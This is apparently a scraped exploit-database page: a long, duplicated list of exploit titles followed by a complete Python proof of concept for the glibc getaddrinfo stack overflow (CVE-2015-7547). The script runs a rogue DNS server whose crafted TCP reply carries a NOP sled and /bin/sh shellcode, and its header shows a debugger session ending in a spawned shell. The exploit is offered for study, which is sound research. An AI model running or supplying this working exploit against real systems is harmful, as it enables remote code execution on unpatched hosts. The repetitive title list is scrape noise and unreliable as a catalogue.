
12 new exploits vsftpd 2.0.5 - (CWD) Authenticated Remote Memory Consumption Exploit vsftpd 2.0.5 - 'CWD' Authenticated Remote Memory Consumption XChat - Heap Overflow Denial of Service XChat 2.8.9 - Heap Overflow Denial of Service Adobe Photoshop CC & Bridge CC - '.png' File Parsing Memory Corruption (1) Adobe Photoshop CC / Bridge CC - '.png' File Parsing Memory Corruption (1) glibc - getaddrinfo Stack Based Buffer Overflow (1) glibc - 'getaddrinfo' Stack Based Buffer Overflow (PoC) Microsoft Edge - JSON.parse Info Leak Android - IOMXNodeInstance::enableNativeBuffers Unchecked Index Microsoft Edge - CMarkup::EnsureDeleteCFState Use-After-Free (MS15-125) Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009) Microsoft Edge - CBaseScriptable::PrivateQueryInterface Memory Corruption (MS16-068) Windows 10 x86/x64 WLAN AutoConfig - Denial of Service (POC) Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Privilege Escalation (1) Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Privilege Escalation Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation (2) Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation Microsoft PowerShell - XML External Entity Injection XChat 2.8.7b - (URI Handler) Remote Code Execution (Internet Explorer 6/7' XChat 2.8.7b - 'URI Handler' Remote Code Execution (Internet Explorer 6/7) Android - Inter-Process munmap with User-Controlled Size in android.graphics.Bitmap glibc - getaddrinfo Stack Based Buffer Overflow (2) glibc - 'getaddrinfo' Stack Based Buffer Overflow Microsoft Internet Explorer jscript9 - JavaScriptStackWalker Memory Corruption (MS15-056) Linux/x86 - Netcat (-e option disabled) Reverse Shell Shellcode (180 bytes) Gravity Board X 1.1 - (csscontent) Remote Code Execution Gravity Board X 1.1 - 'csscontent' Parameter Remote Code Execution Mambo Component 'com_extcalendar' 2.0 - Remote File Inclusion Mambo Component ExtCalendar 2.0 - Remote File Inclusion Mambo Component com_babackup 1.1 - File Inclusion Mambo Component bigAPE-Backup 1.1 - File Inclusion E-Smart Cart 1.0 - 'Product_ID' SQL Injection E-Smart Cart 1.0 - 'Product_ID' Parameter SQL Injection Joomla! / Mambo Component 'com_swmenupro' 4.0 - Remote File Inclusion Joomla! / Mambo Component SWmenu 4.0 - Remote File Inclusion Joomla! / Mambo Component 'com_thopper' 1.1 - Remote File Inclusion Joomla! / Mambo Component Taskhopper 1.1 - Remote File Inclusion Joomla! / Mambo Component 'com_articles' 1.1 - Remote File Inclusion Joomla! / Mambo Component New Article 1.1 - Remote File Inclusion Cartweaver - 'Details.cfm ProdID' SQL Injection Cartweaver 2.16.11 - 'ProdID' Parameter SQL Injection Joomla! / Mambo Component 'com_rsgallery' 2.0b5 - 'catid' SQL Injection Joomla! / Mambo Component rsgallery 2.0b5 - 'catid' Parameter SQL Injection xeCMS 1.x - (view.php list) Remote File Disclosure xeCMS 1.x - 'view.php' Remote File Disclosure Mambo Component 'com_portfolio' 1.0 - 'categoryId' SQL Injection Mambo Component Portfolio Manager 1.0 - 'categoryId' Parameter SQL Injection Easy-Clanpage 2.2 - 'id' SQL Injection Easy-Clanpage 2.2 - 'id' Parameter SQL Injection JAMM CMS - 'id' Blind SQL Injection Gravity Board X 2.0 Beta - (SQL Injection / Cross-Site Scripting) Multiple Vulnerabilities JAMM CMS - 'id' Parameter Blind SQL Injection Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting GLLCTS2 <= 4.2.4 - (login.php detail) SQL Injection Butterfly ORGanizer 2.0.0 - (SQL Injection / Cross-Site Scripting) Multiple Vulnerabilities GLLCTS2 <= 4.2.4 - 'detail' Parameter SQL Injection Butterfly ORGanizer 2.0.0 - SQL Injection / Cross-Site Scripting Mambo Component 'com_galleries' 1.0 - 'aid' Parameter SQL Injection Mambo Component Galleries 1.0 - 'aid' Parameter SQL Injection Easy-Clanpage 3.0b1 - (section) Local File Inclusion WebChamado 1.1 - (tsk_id) SQL Injection Pre News Manager 1.0 - (index.php id) SQL Injection Pre Ads Portal 2.0 - SQL Injection Easy-Clanpage 3.0b1 - 'section' Parameter Local File Inclusion WebChamado 1.1 - 'tsk_id' Parameter SQL Injection Pre News Manager 1.0 - 'id' Parameter SQL Injection Pre ADS Portal 2.0 - SQL Injection GLLCTS2 - 'listing.php sort' Blind SQL Injection GLLCTS2 - 'sort' Parameter Blind SQL Injection Contenido 4.8.4 - (Remote File Inclusion / Cross-Site Scripting) Multiple Vulnerabilities Contenido 4.8.4 - Remote File Inclusion / Cross-Site Scripting PHPMyCart - 'shop.php cat' SQL Injection SHOUTcast Admin Panel 2.0 - (page) Local File Inclusion Cartweaver 3 - (prodId) Blind SQL Injection DIY - (index_topic did) Blind SQL Injection PHPMyCart 1.3 - 'cat' Parameter SQL Injection SHOUTcast Admin Panel 2.0 - 'page' Parameter Local File Inclusion Cartweaver 3 - 'prodId' Parameter Blind SQL Injection DIY - 'did' Parameter Blind SQL Injection ezcms 1.2 - (Blind SQL Injection / Authentication Bypass) Multiple Vulnerabilities PHPEasyNews 1.13 RC2 - (POST) SQL Injection ezcms 1.2 - Blind SQL Injection / Authentication Bypass PHPEasyNews 1.13 RC2 - 'POST' Parameter SQL Injection Devalcms 1.4a - (currentfile) Local File Inclusion Devalcms 1.4a - 'currentfile' Parameter Local File Inclusion IPTBB 0.5.6 - (index.php act) Local File Inclusion IPTBB 0.5.6 - 'act' Parameter Local File Inclusion Mambo Component 'articles' - 'artid' Parameter Blind SQL Injection Mambo Component Articles - 'artid' Parameter Blind SQL Injection Mambo Component 'com_n-gallery' - Multiple SQL Injections Mambo Component N-Gallery - Multiple SQL Injections devalcms 1.4a - Cross-Site Scripting / Remote Code Execution Devalcms 1.4a - Cross-Site Scripting / Remote Code Execution PHP JOBWEBSITE PRO - (Authentication Bypass) SQL Injection PHP JOBWEBSITE PRO - Authentication Bypass Pre ADS Portal 2.0 - (Authentication Bypass / Cross-Site Scripting) Multiple Vulnerabilities Pre ADS Portal 2.0 - Authentication Bypass / Cross-Site Scripting Mambo Component 'com_n-forms' - 'form_id' Parameter Blind SQL Injection Mambo Component n-form - 'form_id' Parameter Blind SQL Injection Pre Job Board - (Authentication Bypass) SQL Injection Pre Job Board - Authentication Bypass Butterfly ORGanizer 2.0.1 - (view.php id) SQL Injection Butterfly ORGanizer 2.0.1 - 'id' Parameter SQL Injection facil-cms 0.1rc2 - Multiple Vulnerabilities Facil-CMS 0.1RC2 - Multiple Vulnerabilities Family Connections CMS 1.9 - (member) SQL Injection Family Connections CMS 1.9 - SQL Injection Mambo Component 'com_hestar' - SQL Injection Mambo Component Hestar - SQL Injection Joomla! / Mambo Component 'com_tupinambis' - SQL Injection Joomla! / Mambo Component Tupinambis - SQL Injection Joomla! / Mambo Component 'com_ezine' 2.1 - Remote File Inclusion Joomla! / Mambo Component D4J eZine 2.1 - Remote File Inclusion Mambo Component 'com_materialsuche' 1.0 - SQL Injection Mambo Component Material Suche 1.0 - SQL Injection Pre ADS Portal - 'cid' SQL Injection Pre ADS Portal - 'cid' Parameter SQL Injection Pre News Manager - (nid) SQL Injection Pre News Manager - 'nid' Parameter SQL Injection Mambo Component 'com_akogallery' - SQL Injection Mambo Component AkoGallery - SQL Injection Mambo Component 'com_mambads' - SQL Injection Mambo Component MambAds - SQL Injection Facil-CMS - (Local File Inclusion / Remote File Inclusion) Facil-CMS 0.1RC2 - Local / Remote File Inclusion AskMe Pro 2.1 - (que_id) SQL Injection Alstrasoft AskMe Pro 2.1 - 'que_id' Parameter SQL Injection Pre Job Board Pro - SQL Injection Authentication Bypass Pre Job Board Pro - Authentication Bypass DiY-CMS 1.0 - Multiple Remote File Inclusion DIY-CMS 1.0 - Multiple Remote File Inclusion Alstrasoft AskMe Pro 2.1 - (forum_answer.php?que_id) SQL Injection Alstrasoft AskMe Pro 2.1 - (profile.php?id) SQL Injection Alstrasoft AskMe Pro 2.1 - 'profile.php' SQL Injection Pre Ads Portal - SQL Bypass Pre ADS Portal - Authentication Bypass Family Connections CMS 2.3.2 - (POST) Persistent Cross-Site Scripting / XML Injection Family Connections CMS 2.3.2 - Persistent Cross-Site Scripting / XML Injection Family Connections CMS 2.5.0 / 2.7.1 - (less.php) Remote Command Execution Family Connections CMS 2.5.0 / 2.7.1 - 'less.php' Remote Command Execution Family Connections CMS - 'less.php' Remote Command Execution (Metasploit) Family Connections CMS 2.7.1 - 'less.php' Remote Command Execution (Metasploit) Gravity Board X 1.1 - DeleteThread.php Cross-Site Scripting Clever Copy 3.0 - Connect.INC Information Disclosure Clever Copy 3.0 - 'Connect.INC' Information Disclosure Cartweaver 2.16.11 - Results.cfm category Parameter SQL Injection Cartweaver 2.16.11 - Details.cfm ProdID Parameter SQL Injection Cartweaver 2.16.11 - 'Results.cfm' SQL Injection Mambo Component 'lmtg_myhomepage' 1.2 - Multiple Remote File Inclusion Mambo Component 'com_rssxt' 1.0 - 'MosConfig_absolute_path' Parameter Multiple Remote File Inclusion Mambo Component LMTG Myhomepage 1.2 - Multiple Remote File Inclusion Mambo Component Rssxt 1.0 - 'MosConfig_absolute_path' Parameter Multiple Remote File Inclusion Mambo Component 'com_admin-copy_module' - 'MosConfig_absolute_path' Parameter Remote File Inclusion Mambo Component Display MOSBot Manager - 'MosConfig_absolute_path' Parameter Remote File Inclusion Joomla! / Mambo Component 'com_comprofiler' 1.0 - 'class.php' Remote File Inclusion Joomla! / Mambo Component Comprofiler 1.0 - 'class.php' Remote File Inclusion Joomla! / Mambo Component 'com_sg' - 'pid' Parameter SQL Injection Joomla! / Mambo Component com_sg - 'pid' Parameter SQL Injection Joomla! / Mambo Component 'com_salesrep' - 'rid' Parameter SQL Injection Joomla! / Mambo Component com_salesrep - 'rid' Parameter SQL Injection Joomla! / Mambo Component 'com_filebase' - 'filecatid' Parameter SQL Injection Joomla! / Mambo Component 'com_scheduling' - 'id' Parameter SQL Injection Joomla! / Mambo Component Filebase - 'filecatid' Parameter SQL Injection Joomla! / Mambo Component com_scheduling - 'id' Parameter SQL Injection Joomla! / Mambo Component 'com_profile' - 'oid' Parameter SQL Injection Joomla! / Mambo Component com_profile - 'oid' Parameter SQL Injection Joomla! / Mambo Component 'com_datsogallery' 1.3.1 - 'id' Parameter SQL Injection Joomla! / Mambo Component Datsogallery 1.3.1 - 'id' Parameter SQL Injection PHP JOBWEBSITE PRO - siteadmin/forgot.php adname Parameter SQL Injection PHP JOBWEBSITE PRO - siteadmin/forgot.php Multiple Parameter Cross-Site Scripting PHP JOBWEBSITE PRO - 'adname' Parameter SQL Injection PHP JOBWEBSITE PRO - 'forgot.php' Cross-Site Scripting Joomla! / Mambo Component 'com_gigcal' 1.0 - 'banddetails.php' SQL Injection Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection Conkurent PHPMyCart 1.3 - Cross-Site Scripting / Authentication Bypass PHPMyCart 1.3 - Cross-Site Scripting / Authentication Bypass Mambo Component 'com_docman' 1.3.0 - Multiple SQL Injection Mambo Component Docman 1.3.0 - Multiple SQL Injection Mambo Component 'com_n-skyrslur' - Cross-Site Scripting Mambo Component N-Skyrslur - Cross-Site Scripting Mambo Component 'com_n-gallery' - SQL Injection Mambo Component N-Gallery - SQL Injection Mambo Component 'com_n-press' - SQL Injection Mambo Component N-Press - SQL Injection Mambo Component 'com_n-frettir' - SQL Injection Mambo Component 'com_n-myndir' - SQL Injection Mambo Component N-Frettir - SQL Injection Mambo Component N-Myndir - SQL Injection AbanteCart - 'index.php' Multiple Cross-Site Scripting Vulnerabilities Edge SkateShop - Authentication bypass AbanteCart 1.2.7 - Cross-Site Scripting
240 lines
No EOL
6.4 KiB
Python
Executable file
240 lines
No EOL
6.4 KiB
Python
Executable file
/*
|
||
|
||
add by SpeeDr00t@Blackfalcon (jang kyoung chip)
|
||
|
||
This is a published vulnerability by google in the past.
|
||
Please refer to the link below.
|
||
|
||
Reference:
|
||
- https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
|
||
- https://github.com/fjserna/CVE-2015-7547
|
||
- CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow
|
||
|
||
When Google announced about this code(vulnerability),
|
||
it was missing information on shellcode.
|
||
So, I tried to completed the shellcode.
|
||
In the future, I hope to help your study.
|
||
|
||
|
||
(gdb) r
|
||
Starting program: /home/haker/client1
|
||
Got object file from memory but can't read symbols: File truncated.
|
||
[UDP] Total Data len recv 36
|
||
[UDP] Total Data len recv 36
|
||
udp send
|
||
sendto 1
|
||
TCP Connected with 127.0.0.1:60259
|
||
[TCP] Total Data len recv 76
|
||
[TCP] Request1 len recv 36
|
||
data1 = ��foobargooglecom
|
||
query = foobargooglecom$(�foobargooglecom
|
||
[TCP] Request2 len recv 36
|
||
sendto 2
|
||
data1_reply
|
||
data2_reply
|
||
[UDP] Total Data len recv 36
|
||
[UDP] Total Data len recv 36
|
||
udp send
|
||
sendto 1
|
||
TCP Connected with 127.0.0.1:60260
|
||
[TCP] Total Data len recv 76
|
||
[TCP] Request1 len recv 36
|
||
data1 = ��foobargooglecom
|
||
query = foobargooglecom$�7foobargooglecom
|
||
[TCP] Request2 len recv 36
|
||
sendto 2
|
||
data1_reply
|
||
data2_reply
|
||
process 6415 is executing new program: /bin/dash
|
||
$ id
|
||
uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
|
||
$
|
||
|
||
*/
|
||
|
||
|
||
|
||
|
||
import socket
|
||
import time
|
||
import struct
|
||
import threading
|
||
|
||
IP = '192.168.111.5' # Insert your ip for bind() here...
|
||
ANSWERS1 = 184
|
||
|
||
terminate = False
|
||
last_reply = None
|
||
reply_now = threading.Event()
|
||
|
||
|
||
def dw(x):
|
||
return struct.pack('>H', x)
|
||
|
||
def dd(x):
|
||
return struct.pack('>I', x)
|
||
|
||
def dl(x):
|
||
return struct.pack('<Q', x)
|
||
|
||
def db(x):
|
||
return chr(x)
|
||
|
||
def udp_thread():
|
||
global terminate
|
||
|
||
# Handle UDP requests
|
||
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||
sock_udp.bind((IP, 53))
|
||
|
||
reply_counter = 0
|
||
counter = -1
|
||
|
||
answers = []
|
||
|
||
while not terminate:
|
||
data, addr = sock_udp.recvfrom(1024)
|
||
print '[UDP] Total Data len recv ' + str(len(data))
|
||
id_udp = struct.unpack('>H', data[0:2])[0]
|
||
query_udp = data[12:]
|
||
|
||
# Send truncated flag... so it retries over TCP
|
||
data = dw(id_udp) # id
|
||
data += dw(0x8380) # flags with truncated set
|
||
data += dw(1) # questions
|
||
data += dw(0) # answers
|
||
data += dw(0) # authoritative
|
||
data += dw(0) # additional
|
||
data += query_udp # question
|
||
data += '\x00' * 2500 # Need a long DNS response to force malloc
|
||
|
||
answers.append((data, addr))
|
||
|
||
if len(answers) != 2:
|
||
continue
|
||
|
||
counter += 1
|
||
|
||
if counter % 4 == 2:
|
||
answers = answers[::-1]
|
||
|
||
|
||
print 'udp send '
|
||
time.sleep(0.01)
|
||
sock_udp.sendto(*answers.pop(0))
|
||
|
||
print 'sendto 1 '
|
||
reply_now.wait()
|
||
sock_udp.sendto(*answers.pop(0))
|
||
print 'sendto 2 '
|
||
|
||
sock_udp.close()
|
||
|
||
|
||
def tcp_thread():
|
||
global terminate
|
||
counter = -1
|
||
|
||
#Open TCP socket
|
||
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||
sock_tcp.bind((IP, 53))
|
||
sock_tcp.listen(10)
|
||
|
||
print 'a'
|
||
|
||
while not terminate:
|
||
conn, addr = sock_tcp.accept()
|
||
counter += 1
|
||
print 'TCP Connected with ' + addr[0] + ':' + str(addr[1])
|
||
|
||
# Read entire packet
|
||
data = conn.recv(1024)
|
||
print '[TCP] Total Data len recv ' + str(len(data))
|
||
|
||
reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
|
||
print '[TCP] Request1 len recv ' + str(reqlen1)
|
||
data1 = data[2:2+reqlen1]
|
||
|
||
print 'data1 = ' +data1
|
||
|
||
id1 = struct.unpack('>H', data1[0:2])[0]
|
||
query1 = data[12:]
|
||
|
||
print 'query = ' + query1
|
||
|
||
# Do we have an extra request?
|
||
data2 = None
|
||
if len(data) > 2+reqlen1:
|
||
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
|
||
print '[TCP] Request2 len recv ' + str(reqlen2)
|
||
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
|
||
id2 = struct.unpack('>H', data2[0:2])[0]
|
||
query2 = data2[12:]
|
||
|
||
|
||
|
||
# Reply them on different packets
|
||
data = ''
|
||
data += dw(id1) # id
|
||
data += dw(0x8180) # flags
|
||
data += dw(1) # questions
|
||
data += dw(ANSWERS1) # answers
|
||
data += dw(0) # authoritative
|
||
data += dw(0) # additional
|
||
data += query1 # question
|
||
|
||
|
||
|
||
for i in range(ANSWERS1):
|
||
answer = dw(0xc00c) # name compressed
|
||
answer += dw(1) # type A
|
||
answer += dw(1) # class
|
||
answer += dd(13) # ttl
|
||
answer += dw(4) # data length
|
||
answer += 'D' * 4 # data
|
||
|
||
data += answer
|
||
|
||
data1_reply = dw(len(data)) + data
|
||
|
||
if data2:
|
||
data = ''
|
||
data += dw(id2)
|
||
data += 'A' * (6)
|
||
data += '\x08\xc5\xff\xff\xff\x7f\x00\x00'
|
||
data += '\x90' * (44)
|
||
data += '\x90' * (1955)
|
||
data += '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
|
||
data += '\x90' * (100)
|
||
data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'
|
||
data += 'F' * (8)
|
||
data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'
|
||
data += 'G' * (134)
|
||
data2_reply = dw(len(data)) + data
|
||
else:
|
||
data2_reply = None
|
||
|
||
reply_now.set()
|
||
time.sleep(0.01)
|
||
conn.sendall(data1_reply)
|
||
print 'data1_reply'
|
||
time.sleep(0.01)
|
||
if data2:
|
||
conn.sendall(data2_reply)
|
||
print 'data2_reply'
|
||
|
||
reply_now.clear()
|
||
|
||
sock_tcp.shutdown(socket.SHUT_RDWR)
|
||
sock_tcp.close()
|
||
|
||
|
||
if __name__ == "__main__":
|
||
|
||
t = threading.Thread(target=udp_thread)
|
||
t.daemon = True
|
||
t.start()
|
||
tcp_thread()
|
||
terminate = True |